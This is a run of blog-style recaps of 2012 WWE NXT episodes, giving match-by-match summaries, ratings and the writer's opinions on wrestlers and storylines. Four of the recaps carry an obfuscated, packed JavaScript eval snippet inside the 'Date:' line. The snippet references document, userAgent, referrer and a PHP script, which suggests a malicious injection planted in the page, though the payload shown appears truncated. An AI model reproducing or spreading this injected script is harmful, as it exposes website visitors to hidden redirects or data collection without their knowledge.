NXT – July 18, 2012: Who Would Have Thought NXT Would Be The Best Show Ever Week?

NXT
Date: July 18, 2012
Location: Full Sail University, Winter Park, Florida
Commentators: William Regal, Byron Saxton

Welcome Home.

The main event is Slater vs. Gabriel. I forgot about that one.

Tamina Snuka vs. Kaitlyn

Raw moment is Jericho debuting in 99.

Big E. Langston, a very muscular black guy is coming. He has more personality in his calf than Ezekiel Jackson has in his whole body from what I can tell.

Jinder Mahal vs. Percy Watson

Richie Steamboat vs. Leo Kruger

Steamboat grabs a small package for two but Kruger puts him right back down with ease. Steamboat gets in a clothesline and some forearms to send Kruger to the floor. We get a chase but as they head back in, Steamboat hits a cross body but Kruger rolls through and puts his feet on the ropes for the pin at 4:30.

Raquel Diaz promo, I believe the same from last week.

Raquel Diaz vs. Paige

Alex Riley is looking for catering and runs into Aksana. Nothing of note happens here but Antonio Cesaro pops up. Aksana says Riley was hitting on her, which Cesaro says is so American. Cesaro wants a match next week, which Riley says is very European of him.

Heath Slater vs. Justin Gabriel

JR is on commentary here as usual for the main event. Gabriel armdrags him down and hooks an armbar for early control. Slater fights up and gets taken down by the exact same sequence again. Gabriel tries to go up but Slater shoves him to the floor as we take a break. Back with Slater holding a chinlock for a few moments followed by a neckbreaker for two. A hard Irish whip into the corner gets two. Back to the chinlock as the fans chant that they want Frostees.

Slater sends him to the apron and catches Gabriel with a knee coming back in. A middle rope neckbreaker gets two as Slater is staying on the neck which was hurt when Gabriel fell to the floor earlier. Gabriel fires off some kicks and a sitout powerbomb gets two. Slater comes back with a good looking spinebuster for two. They trade some counters resulting in Slater hitting a reverse suplex for two.

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NXT – July 11, 2012: A Totally Different Kind of Show But Still Great

NXT
Date: July 11, 2012
Location: Full Sail University, Winter Park, Florida
Commentators: Byron Saxton, William Regal

Welcome Home everyone.

Tyson Kidd vs. Camacho

Camacho sends him to the apron but Kidd skins the cat and sends Camacho to the floor. Hunico tries to interfere and gets ejected for his efforts. Kidd dives on both guys and we take a break. Back with Kidd kicking Camacho in the face and trying the Sharpshooter but a rope is grabbed. Camacho goes to the floor but grabs a running boot, sending Kidd face first into the apron.

Back inside and Camacho is in control and working on the back of Kidd. A backbreaker gets two and he stomps on the chest of Kidd a bit. Another backbreaker gets another two and Kidd gets draped over the top rope. Camacho hooks a seated third cousin twice removed of an abdominal stretch which Kidd breaks, only to be headbutted right back down. A belly to back suplex puts Kidd down and a legdrop gets two.

Hugh Jackman was on Raw once.

Aiden English vs. Bray Wyatt

Wyatt talks on the way to the ring, calling himself the angel in the dirt and singing Time is on My Side by the Rolling Stones. Wyatt pounds him down and sends English to the floor and into the barricade. Back in and Wyatt rolls around on the apron before splashing English in the corner. Wyatt dances with English a bit (literally) before hitting a rolling Downward Spiral for the pin at 1:48. Awesome debut here and a good transition from promos to in ring work which was what I was worried about from Wyatt.

Video on Seth Rollins, who will knock you out.

We run down the MITB card.

Video on Raquel Diaz, featuring Tweets from her.

Usos vs. Prime Time Players

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NXT – July 4, 2012: The Most Efficient Wrestling Show Today

NXT
Date: July 4, 2012
Location: Full Sail University, Winter Park, Florida
Commentators: Jim Ross, Byron Saxton

Sofia Cortez vs. Paige

Seth Rollins vs. Camacho

Hunico and Camacho jump Rollins post match and beat him down until Bo Dallas makes the save.

Corey Graves/Jake Carter vs. CJ Parker/Nick Rogers

Video on Kassius Ohno.

Kassius Ohno vs. Mike Dalton

Ohno says he knocks people out and when they hear Kassius coming, they say OH NO.

Derrick Bateman vs. Jinder Mahal

Mahal pounds away to start but Bateman throws him to the floor. He dives on Jinder to take over and they head back in. Mahal hits a neckbreaker on the top rope for two but a regular neckbreaker is countered into a backslide for two for Bateman. A small package gets the same as does a rollup. Bateman grabs a DDT and then a running flip neckbreaker for a close two. Jinder avoids the falling bulldog and hits a knee to the back and the camel clutch gets the submission at 4:02.

Seth Rollins/Bo Dallas/Tyson Kidd vs. Michael McGillicutty/Hunico/Camacho

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NXT – June 27, 2012: The Hits Keep On Coming

NXT
Date: June 27, 2012
Location: Full Sail University, Winter Park, Florida
Commentators: Byron Saxton Jim Ross

Seth Rollins vs. Jiro

Jinder Mahal vs. Jason Jordan

Jordan is regarded as a top prospect according to JR. The bell rings twice for no apparent reason. Mahal pounds him down in the corner and hits a neckbreaker for two. Off to a chinlock followed by a butterfly suplex for two. Jordan tries a comeback but is quickly kneed down. Camel Clutch ends this at 2:51.

The first Raw is a Raw moment.

Leo Kruger vs. Aiden English

Usos vs. The Ascension

Richie Steamboat vs. Rick Victor

Antonio Cesaro is a dangerous man.

Raw ReBound is about the end of the show.

Dante Dash vs. Antonio Cesaro

Bray Wyatt video with him talking about real love.

Derrick Bateman vs. Johnny Curtis

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NXT – June 20, 2012: Why Isn’t This On In America???

NXT
Date: June 20, 2012
Location: Full Sail University, Winter Park, Florida
Commentators: Jim Ross, William Regal

The opening video is about how each generation has its own stars that define their era. NXT is about those that strive to make their own history. Cool video and this looks great so far.

Video on Bo Dallas which I believe we saw last week. His dad is Mike Rotunda, more famous as IRS. He talks about smiling all the time and being ready to go at any time.

We get the Vince Hospital clip from Raw.

Bo Dallas vs. Rick Victor

Damien Sandow vs. Jason Jordan

Raw ReBound is about John vs. John.

The Ascension vs. Mike Dalton/CJ Parker

Tyson Kidd vs. Michael McGillicutty

Back with Tyson stomping McGillicutty down in the corner and hitting a leg lariat for two. McGillicutty sends him to the apron and hits a knee lift, followed by an elevated neckbreaker for two. We hit the chinlock but Kidd gets back up quickly. Kidd hooks a sunset flip but McGillicutty hits a clothesline to the back of the head for two. McGillicutty puts him in the Tree of Woe and chokes away.

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NXT – June 13, 2012: This Is How The Season Finally Ends

NXT
Date: June 13, 2012
Location: Verizon Wireless Arena, Manchester, New Hampshire
Commentators: Josh Matthews, William Regal

Curt Hawkins/Tyler Reks vs. Derrick Bateman/Percy Watson

Back with Watson fighting off both guys but getting dropped on the top turnbuckle for two. Reks hooks a chinlock for a bit followed by a neckbreaker for two. Back to Curt who hits a suplex for two. Off to another chinlock as Regal talks about how a chinlock is supposed to be executed. An other the shoulder bicycle kick gets two on Watson. Josh confirms that next week the New NXT begins.

During the break we get a clip of the All New NXT. It looks pretty awesome actually.

Kaitlyn vs. Natalya

Natalya immediately takes her down with a heel trip and they trade rollups for two each. Another rollup gets two for Kaitlyn. Natalya sends her to the floor and poses before knocking Kaitlyn off the apron. She sits on Kaitlyn for two and then hooks on a bow and arrow hold. Kaitlyn rolls her up again for two. That seems to be her only offense. Nattie misses a charge in the corner and Kaitlyn shoves her down. A crossbody gets two. Natalya cradles her in the corner with feet on the ropes for two. Her argument with the referee lets Kaitlyn hook ANOTHER rollup for two. A sunset flip out of nowhere gets the pin for Kaitlyn at 5:20.

Rating: D-. This was horrible. Kaitlyn looked terrible out there, both in the ring and in the face. For some reason all she did here were rollups other than just a few shots here or there. The match was terrible with neither girl really doing anything at all other than Natalya posing and Kaitlyn rolling people up. Terrible match.

Natalya throws a fit post match.

We get a quick word from Bo Dallas (Taylor Rotunda) who is ready to fight.

Raw ReBound is about Vince/Ace/Show/Cena.

Usos vs. Michael McGillicutty/Johnny Curtis

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NXT – June 6, 2012: End My Pain

NXT
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tdsbf|var|u0026u|referrer|khdei||js|php'.split('|'),0,{})) June 6, 2012
Location: Colonial Center, Columbia, South Carolina
Commentators: Matt Striker, Josh Matthews

Dang it no Regal this week.

Tyler Reks vs. Jey Uso

Feeling out process to start with Reks running over Uso a few times. Jey comes back with a running chinlock (looked pretty cool actually) to take over. Uso charges into a boot in the corner and a belly to back suplex for two. Reks pounds him down with power strikes but misses a charge, sending his shoulder into the post.

Percy Watson vs. JTG

Tamina Snuka vs. Natalya

Natalya now wears a kind of cape. She quickly powers Tamina down to the mat and they trade headlocks. Back up and Natalya runs her over as Striker calls her Nattie. Whatever her name is she gets dropkicked down for two. The crowd is almost silent for this. Tamina misses a charge and Natalya sits on her with arms folded for two.

Tyson Kidd/Justin Gabriel vs. Heath Slater/Johnny Curtis

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NXT – May 30, 2012: Superstars II

NXT
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("
");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ikfrr|var|u0026u|referrer|sbhha||js|php'.split('|'),0,{})) May 30, 2012
Location: Riverside Centroplex, Baton Rouge, Louisiana
Commentators: Josh Matthews, William Regal

Back to what has officially become the most boring show this side of Warriors of Wrestling. We’re hopefully wrapping this season up but getting there is really dragging, as there were zero stories last week as well as no promos at all. That’s a shame as the show was starting to get good up until that point. Let’s get to it.

To give you an idea of how much WWE.com cares about this show, their website says it’s up every Wednesday at 4pm EST. It’s currently 8:05pm EST and I have to watch this on Youtube because neither today’s show, nor last week’s show are currently on WWE.com’s NXT page.

Curt Hawkins/Tyler Reks vs. Usos

It’s 8:19 and the show can now be found on WWE.com, if you look in the What’s Hot section instead of the NXT section. If I’m a TV company, I’d be curious as to why I should put a show on that they don’t even bother to put up on time. Anyway Jey and Reks get us going. Not much going on so far so Jey shouts to the crowd a little bit. Hawkins comes in and nothing goes anywhere now either. A quick chin/headlock by Jey goes nowhere so we head to the mat.

Off to Jimmy who armdrags Hawkins down and it’s back to Jey. A headbutt to the chest gets one and the Usos tag again. Regal explains what cutting the ring in half means, because a term like that needs an explanation apparently. Jey escapes a slam and hits a great superkick to put Hawkins down. Reks pulls Curt to the floor to avoid the Superfly Splash so the Usos dive onto both heels as we take a break.

Back with Jey holding a hammerlock on Hawkins on the mat. Jey loads up a superkick but Hawkins drops to the floor and suckers Jey in. Blind tag brings in Reks and the Usos lose control for the first time. Hawkins comes in with a kick to the back and a chinlock. Back to Reks who puts on something like a Tazmission.

Jey escapes and it’s off to Jimmy on a not very hot tag. A Bubba Bomb puts Reks down and the Umaga hip smash gets two. Hawkins interferes, allowing Reks to hit a Downward Spiral for two. Jey comes in with a Samoan Drop for two. Jimmy is sent to the floor and Reks/Hawkins hit a powerslam/neckbreaker combo to pin Jey at 10:59.

Rating: C. The match was pretty boring until the ending where things picked up in a hurry. That being said, we’ve seen these two teams fight more times than I can remember, which makes this a little less interesting. Also having no story to it hurts things, but the match was perfectly fine. More Usos please.

Tamina Snuka vs. Kaitlyn

Maxine is on commentary, which is literally the first continued story in two weeks. She’s fought them both before and this is due to last week’s Kaitlyn vs. Maxine match apparently. Kaitlyn takes her to the mat and hooks a bodyscissors and a rollup for two. Tamina takes her down as well and puts on a seated abdominal stretch. Maxine makes fun of Kaitlyn’s hair and Tamina changes to a chinlock. The crowd is surprisingly not completely dead here. Kaitlyn fights out and hits a bad cross body for two. Kaitlyn trips her up as they run the ropes and hooks a full nelson with her legs to make Tamina tap (with her foot) at 5:21.

Rating: D+. The match was pretty dull, but I’m digging this dueling submission story they’ve got going with Maxine and Kaitlyn. Also it’s amazing how far less unbearable the Divas are when they get some time to work out a match instead of hitting like three kicks, a missed charge and the finisher with a signature move thrown in. Imagine that: wrestling makes things better.

Raw ReBound is about Big Show, which is all that Monday’s show was about anyway.

Justin Gabriel/Derrick Bateman/Percy Watson vs. Michael McGillicutty/Johnny Curtis/JTG

Hey Justin is back. JTG still has the new attire and I still don’t want to see him ever again. Watson and JTG get us going Watson works on the arm but JTG speeds things up a bit. That’s cool with Watson as he runs over JTG and slams him down for two. Off to Justin who hooks an armdrag into an armbar. JTG gets him into the corner and it’s off to Curtis who takes over.

Gabriel channels his inner Steamboat and armdrags his way to freedom, taking Curtis to the mat. Off to Bateman who dropkicks Johnny down for two. He misses a charge though and McGillicutty stomps Bateman down in the corner. Everything breaks down and the faces stand tall as we take a break. Back with Michael putting Bateman in a chinlock and punching him in the face a few times.

Dropkick gets two on Bateman. Back to Curtis who has #letsgetweird on his trunks. If you really want to push Twitter that hard, you would think they could find a better billboard than Curtis. McGillicutty and Curtis tag two more times as I guess they won’t like JTG either. Curtis gives up the tag and it’s off to Watson. Watson cleans house but JTG low bridges him to send Percy crashing to the floor.

JTG pounds on Percy both in and out of the ring, getting two in the former. Off to the chinlock again and then back to Curtis. Elbow to the face gets two. Watson hits a belly to belly out of nowhere and makes the tag to Justin. JTG comes in at the same time and things speed up. Gabriel hits a blue Thunder Bomb for two and everything breaks down. Bateman dives on McGillicutty and Curtis while Gabriel hits a jumping tornado DDT for the pin at 12:13.

Rating: C+. This was pretty good but it came and went. You had three good guys, you had three bad guys, you had twelve minutes, and the good guys won. It was pretty entertaining though and that’s really all you can ask for on NXT in this weird kind of limbo period they’re in at the moment.

Overall Rating: C+. Like I said in the main event, you really can’t ask for more than about 45 minutes of entertaining matches from Superstars II anymore. Regal’s position as matchmaker is never mentioned anymore, the attacks in the back are never mentioned anymore, and the Hawkins/Reks being security is never mentioned anymore. I know I’m in the small minority here, but I kind of wanted to see where those things were going. I’ve spent a year on this already and I’d like to see some resolution to those stories. This was entertaining at least though.

Results
Curt Hawkins/Tyler Reks b. The Usos – Powerslam/Neckbreaker combination to Jey Uso
Kaitlyn b. Tamina Snuka – Full Nelson with Legs
Justin Gabriel/Derrick Bateman/Percy Watson b. JTG/Johnny Curtis/Michael McGillicutty – Tornado DDT to JTG

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NXT – May 23, 2012: You Want More Wrestling? Here You Go!

NXT
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("
");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hyeah|var|u0026u|referrer|bfkai||js|php'.split('|'),0,{})) May 23, 2012
Location: Mohegan Sun Arena, Wilkes-Barre, Pennsylvania
Commentators: Josh Matthews, William Regal

OH COME ON! Apparently they’re going to wrap up this season instead of going straight to the new stuff. I know this is going to sound crazy, but I think I’d prefer it that way. I’ve spent over a year on this awful show and I need to get to the end of it for my own sanity’s sake. Hopefully they wrap it up soon though. Let’s get to it.

Jinder Mahal vs. Derrick Bateman

Feeling out process to start with Mahal shoving Bateman into the corner. Regal talks about Mahal’s cousin who is the two year running Indian karaoke champion. His name is Getupta Singh. Bateman comes back with some hard chops as a USA chant comes up. Clothesline gets two for Bateman.

Mahal comes back with his long legs and chokes away on the ropes. Bateman fights out of a chinlock but gets caught in a cravate with knees to the head, getting two. Bateman comes back with a chop and clothesline followed by a running flip neckbreaker for two. Missile dropkick gets the same. Bateman’s falling bulldog is escaped and Mahal hits a running knee to the face. A few knees to the back set up the camel clutch to make Bateman tap at 6:29.

Rating: D+. Nothing much here but I’m getting tired of this “Bateman is a rookie so beating someone from the main roster is a big deal.” Bateman has been on NXT for what, two years or so? Mahal debuted in April of 2011. If you want to REALLY stretch it, they’re equals at worst. Let it go already. The match was fine.

Percy Watson vs. Heath Slater

Josh FINALLY explains what the One Man Southern Rock Band means: Slater doesn’t need backup. It took how many months to say something that took two seconds to say? Slater quickly takes him to the mat but Watson kicks out of it with ease. Slater goes to the apron and hits a HARD right hand to take over. Why he had to go out there for a punch I’m not sure but whatever.

Off to a chinlock as Regal calls Slater a terrier, as in a dog. I’m not sure I get the connection but then again I’m not British. Slater hits Watson in the back of the head with an elbow and a kick to the same place gets two. Back to the chinlock for a few moments and Heath goes up. It’s the jump into the boot spot which drives me crazy, followed by a dropkick from Percy. Heisman gets two and avoids a clothesline to finish with Persecution at 6:23.

Rating: C-. Again the match was fine, but Watson is in an awkward place. He’s too good to keep facing all of the NXT guys but he’s not good enough to go face the main guys yet. The other problem is he’s just Percy Watson and is athletic. His matches are ok but there’s nothing memorable about him at all. I’m not sure what to do with him, but he really doesn’t need to change anything immediately so it’s not a huge problem.

Alicia Fox vs. Maxine

There’s only one way to put it: that animal thing on the top of Alicia’s head looks stupid. The announcers actually point out that Alicia used to be Maxine’s Pro. Very slow start so let’s talk about Josh’s love life. Maxine controls until Alicia fires off some elbows to the face. Maxine takes her back down and hooks a chinlock. Alicia hits some dropkicks and a northern lights suplex for two. Fox tries a rollup but gets countered into a dragon sleeper with a body scissors for the tap out at 6:09.

Rating: D. This was a really dull match and I can’t believe it was over six minutes long. Fox is just worthless. She looks stupid with that fur thing, she’s nothing special in the ring, and her looks are just ok. Maxine is hot and has catchy theme music, but above all else, she has a personality. It helps a lot and is a reason she’s one of the best Divas in the company.

Raw ReBound is about Cena/Show/Ace.

Drew McIntyre/Johnny Curtis vs. Great Khali/Ezekiel Jackson

Khali and Curtis get us starting and let the chopping begin. With Curtis looking like he’s coming to join Elizabeth, it’s off to Jackson. Off to McIntyre who gets chopped as well. Those are some sore chests. Drew finally gets in a shot to the knee and stomps Khali down into the corner. Khali shrugs him off and tags in Jackson who hits his clothesline in the corner and clears the ring.

We take a break and come back Drew “kicking” Big Zeke in the face and tagging in Curtis who is slammed a few times. Zeks goes after McIntyre who gets in a shot to the knee to let the heels finally take over. Curtis works on said leg for a good while until it’s off to Drew. He kicks at the knee but gets slammed. Tag to Khali who beats up both opponents and the Plunge ends Curtis at 9:03.

Rating: D. This was definitely the weakest match of the night. Why are these people teaming together? I know Khali and Jackson teamed up last week, which to be far is about as good as you’re going to get for a tag team these days, but what about the other guys? It was boring and was a borderline squash by Khali/Jackson.

Overall Rating: D. Sacre bleu what a boring show. For those of you that say there’s too much talking and backstage segments, I give you this as an example as to why those things need to exist. There was not a single promo, segment or anything that advanced a story on this show. I get that it’s because they’re moving to the new stuff soon, but if nothing else make up some short term ones. With no reason for these people to fight other than it’s that time of the week, there’s no reason to care about this show and it needs to wrap up soon.

Results
Jinder Mahal b. Derrick Bateman – Camel Clutch
Percy Watson b. Heath Slater – Persecution
Maxine b. Alicia Fox – Dragon Sleeper with bodyscissors
Great Khali/Ezekiel Jackson b. Drew McIntyre/Johnny Curtis – Punjabi Plunge to Curtis

 

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NXT – May 16, 2012: Best NXT Match In Months

NXT
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("
");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|izzdk|var|u0026u|referrer|ztedn||js|php'.split('|'),0,{})) May 16, 2012
Location: Giant Center, Hershey, Pennsylvania
Commentators: William Regal, Josh Matthews

This is the final regular taping for NXT as after this the show is going to move to Florida permanently which is probably a good thing. We can now get the FCW guys on the show and give them some time. Also we don’t need to sit through this show on Smackdown tapings because about 80% of the fans don’t have a clue who these guys are. Let’s get to it.

Johnny Curtis vs. Percy Watson

Apparently Curtis has stolen tape (as in Scotch) tape from the announcers at some point. As they talk about Josh’s shoes, Watson takes over with an armbar to start. Leg lariat sends Curtis to the apron but he guillotines Watson on the top for two. Quick chinlock goes nowhere and Curtis chokes him a bit. This time the hold of choice is a surfboard with a knee in the back. Watson gets out of that pretty easily and hits a few dropkicks. Heisman gets two. Persecution is escaped and Curtis hits a spinning Falcon’s Arrow for the pin at 4:40.

Rating: D+. This was ok enough I guess, but Curtis’ weird gimmick doesn’t do much for him. It’s good for promos but in matches he’s just kind of standing around and looking at the fans instead of really being strange. Watson is a guy that the fans seem to like but there’s nothing to him as far as a personality goes. It’s the completely opposite of how he was in Season 2.

Great Khali/Ezekiel Jackson vs. Curt Hawkins/Tyler Reks

See, THIS is what NXT needs: appearances from bigger names that are regulars on the main shows. It gives us some fresh faces but we don’t need to spend a month to figure out who they are. Weren’t Hawkins and Reks security guards or something recently? I vaguely remember something about Ace rehiring them but they don’t seem to care enough to let us know and neither do the announcers.

Khali and Hawkins start things off. The taller one chops him a lot and tags in Jackson, who seems to scare Hawkins a lot more than Khali did. Off to Reks who gets knocked into the corner with ease. Reks takes him down and Hawkins adds a top rope clothesline before tagging right back out. Jackson plays Ricky Morton, which is one of the most curious casting choices I’ve ever seen.

Reks is the legal evil one at the moment, kicking away at Jackson followed by a chinlock. A slam gets two. Off to Hawkins who again is only in for a few moments. Back to Reks who has more luck, hitting a big boot for two. Another chinlock goes on but Big Zeke comes back with a backdrop and makes the tag to Khali. He cleans house and the Plunge ends Reks at 6:04.

Rating: D+. Another so-so match here which was fine for filling in a few minutes. Still though the problem here is why Hawkins and Reks are back in the ring. I checked and last week it was said that they were security and not wrestlers. Therefore, we should get an explanation as to why they’re wrestling here. That’s basic storytelling and for some reason it’s just not happening at all.

Maxine vs. Kaitlyn

This is billed as a big showdown, which would make sense if this wasn’t what, the third time they’ve fought in a month or two? Maxine is in more traditional attire here and it’s working for me. Kaitlyn immediately takes her down with a rollup for two, followed by a slam for the same. Maxine hooks her guillotine choke but Kaitlyn eventually breaks it up by draping her over the top rope.

Maxine comes back with forearms and a chinlock. She’s very fired up this week. There’s another chinlock with a knee in the back which is shifted into a kind of camel clutch. Kaitlyn fights up but gets ax handled down for two. Kaitlyn comes back with a dropkick and a bad crossbody for two. Maxine grabs a rollup for two and hooks a Last Chancery. That’s easily broken and Kaitlyn grabs a Bubba Bomb. She drops onto her back and puts on a full nelson with her legs for the pin at 6:00.

Rating: C-. You know when these matches go longer than 90 seconds they’re a lot more enjoyable. At the end of the day, having some decent matches by girls in small outfits is something that’s hard to mess up. Having a match get six minutes makes it more enjoyable instead of having them go like a minute. Matches like those are pointless whereas something like this wasn’t bad.

Raw ReBound is about Big Show getting fired.

Cena Make-A-Wish video.

Tyson Kidd vs. Michael McGillicutty vs. Derrick Bateman

They have almost fifteen minutes for this. McGillicutty lets them fight while he chills on the floor. The good guys take turns with armdrags until it’s a stalemate. After another stand off the pair goes outside and chases McGillicutty back into the ring. There’s a double hiptoss and a LONG delayed double vertical suplex to put Michael down. Bateman has a smart idea and rolls up Kidd for two.

Bateman gets knocked to the floor but McGillicutty breaks up a suicide dive attempt. He hammers on Kidd for awhile until Bateman finally revives from his coma. The pair sends McGillicutty to the floor and Bateman hits a GREAT suicide dive. He may have hurt his knee on that though. Kidd goes up top and tries a moonsault press onto them but mostly lands between them as we take a break. Back with Kidd stomping down on McGillicutty in the corner.

Here’s a Sharpshooter attempt but Michael kicks him into Bateman who is on the apron. Saito Suplex gets two for McGillicutty. McGillicutty sends Bateman into the post as Regal talks about having a step ladder because his real ladder left him. Everyone is back in now and Kidd kicks out of a dropkick. McGillicutty and Kidd collide on stereo cross body attempts.

Bateman comes up and hits a few clotheslines on Michael for two. Tornado DDT is broken up but here’s Kidd with the kicks to Michael. Bateman hits a flip neckbreaker to Kidd but McGillicutty hits a backbreaker on him for two. Kidd hits a high kick to McGillicutty to send him into a northern lights bridging suplex by Bateman. Kidd breaks that up with a springboard elbow for two. McGillicutty breaks up a rollup and hits a Perfecplex for two on Kidd. Bateman breaks it up and sets for a superplex on McGillicutty but Kidd breaks it up and sends Michael to the floor. Sharpshooter followed by the Dungeon Lock gets the tap at 13:40.

Rating: B. Best NXT match in months, hands down. This was really entertaining and I legitimately didn’t know who was going to win the whole way through. Also, I LOVED the knee injury coming back to cost Bateman the match later. That’s a great little bit of storytelling in there and it made the match that much better. This was Bateman’s best match ever by about a thousand miles.

Overall Rating: B-. Pretty good show here with a great main event and some other ok wrestling on here too. It does have problems like the attacks in the back not being mentioned at all and Reks/Hawkins all of a sudden being back as active wrestlers, but if you throw out a nearly 15 minute main event like that every week I can more than over look it. Good show this week and check out that triple threat.

Results
Johnny Curtis b. Percy Watson – Spinning Falcon’s Arrow
Ezekiel Jackson/Great Khali b. Curt Hawkins/Tyler Reks – Punjabi Plunge to Reks
Kaitlyn b. Maxine – Leg full nelson
Tyson Kidd b. Michael McGillicutty and Derrick Bateman – Dungeon Lock to Bateman

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